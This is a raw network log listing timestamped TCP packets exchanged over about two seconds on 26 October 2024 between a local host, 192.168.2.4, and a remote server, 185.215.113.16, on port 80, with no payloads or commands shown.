Oct 26, 2024 05:54:30.908291101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908341885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908420086 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.908425093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908458948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908498049 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.908683062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908735991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.908781052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.950666904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.950741053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.950774908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.950793028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.995639086 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.995735884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:30.995743990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.995795012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.995827913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.995878935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:30.995999098 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.068944931 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069004059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069017887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069025993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069041014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069065094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.069084883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.069149017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069181919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069190025 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.069206953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069222927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069243908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.069314957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069329977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069344044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069350958 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.069372892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.069737911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069969893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.069984913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.070012093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.070028067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.070043087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.070059061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.070064068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.070097923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.107234001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.107250929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.107264996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.107325077 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.156975031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.156997919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.157022953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.157033920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.157073021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.157138109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.157154083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.157170057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.157192945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.157197952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.157233953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.230180025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230197906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230214119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230257034 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.230329037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230344057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230370045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.230374098 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230387926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230410099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.230417013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230452061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.230602026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230650902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230664015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230685949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.230853081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230912924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.230918884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230933905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.230968952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.230978012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.231199980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.231251001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.231273890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.231288910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.231323004 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.268682957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.268696070 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.268708944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.268729925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.268733978 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.268770933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.318167925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.318207026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.318223000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.318237066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.318272114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.318275928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.318288088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.318312883 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.318330050 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.318353891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.318367004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.318408966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.391422033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391542912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391573906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391607046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391618013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.391642094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391647100 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.391675949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391710997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391716957 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.391746998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391776085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391784906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.391921997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.391967058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.391993046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.392024994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.392066956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.392201900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.392254114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.392302990 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.392316103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.392370939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.392402887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.392412901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.392436981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.392479897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.392775059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.429794073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.429877996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.429912090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.429939032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.429958105 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.479410887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.479650021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.479679108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.479722977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.479754925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.479789972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.479804993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.479820013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.479855061 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.479867935 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.520962954 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.552771091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.552864075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.552907944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.552917957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.552967072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553005934 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553009033 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.553056955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553096056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553097963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.553237915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553282022 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.553371906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553416014 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553464890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.553472042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553522110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553555965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553565979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.553589106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553630114 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.553845882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553896904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553930044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.553941965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.553992987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.554020882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.554035902 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.591026068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.591147900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.591223001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.591252089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.591284037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.591305971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.640733004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.640808105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.640842915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.640849113 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.640885115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.640960932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.640989065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.641035080 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.641055107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.641082048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.641122103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.714073896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714099884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714158058 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714164972 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.714170933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714210987 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.714215040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714227915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714262009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.714308977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714394093 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714410067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714432001 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.714443922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714478016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.714642048 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714672089 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714710951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.714776993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714790106 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714833021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.714914083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714937925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714951992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.714977980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.715013981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.715055943 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.715250969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.715323925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.715365887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.752796888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.752832890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.752865076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.752871990 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.801995993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.802042007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.802052021 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.802092075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.802120924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.802133083 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.802155018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.802206993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.802207947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.802237988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.802277088 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.875332117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875412941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875488043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.875511885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875545025 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875580072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875598907 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.875614882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875658989 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.875679970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875741005 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875781059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.875802040 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875883102 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875916004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875925064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.875955105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875988007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.875998020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.876280069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.876331091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.876332998 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.876363039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.876401901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.876584053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.876636028 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.876663923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.876684904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.914093971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.914124012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.914155006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.914177895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.914212942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.914221048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.958478928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.963975906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.964027882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.964060068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.964086056 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.964087963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.964122057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.964137077 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:31.964185953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:31.964230061 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.036737919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.036989927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037034988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037050009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.037067890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037101984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037106991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.037130117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037168980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.037180901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037214994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037256002 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.037265062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037297010 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037329912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037334919 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.037364006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037390947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.037404060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.038605928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.038656950 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.038657904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.038686037 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.038733959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.038882017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.038932085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.038983107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.038984060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.039031029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.039062977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.039072037 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.039113998 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.039143085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.039158106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.075244904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.075274944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.075375080 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.075376987 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.075406075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.075423956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.125226021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.125261068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.125292063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.125320911 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.125360012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.125380993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:32.125395060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:32.125421047 CEST	80	49742	185.215.113.16	192.168.2.4
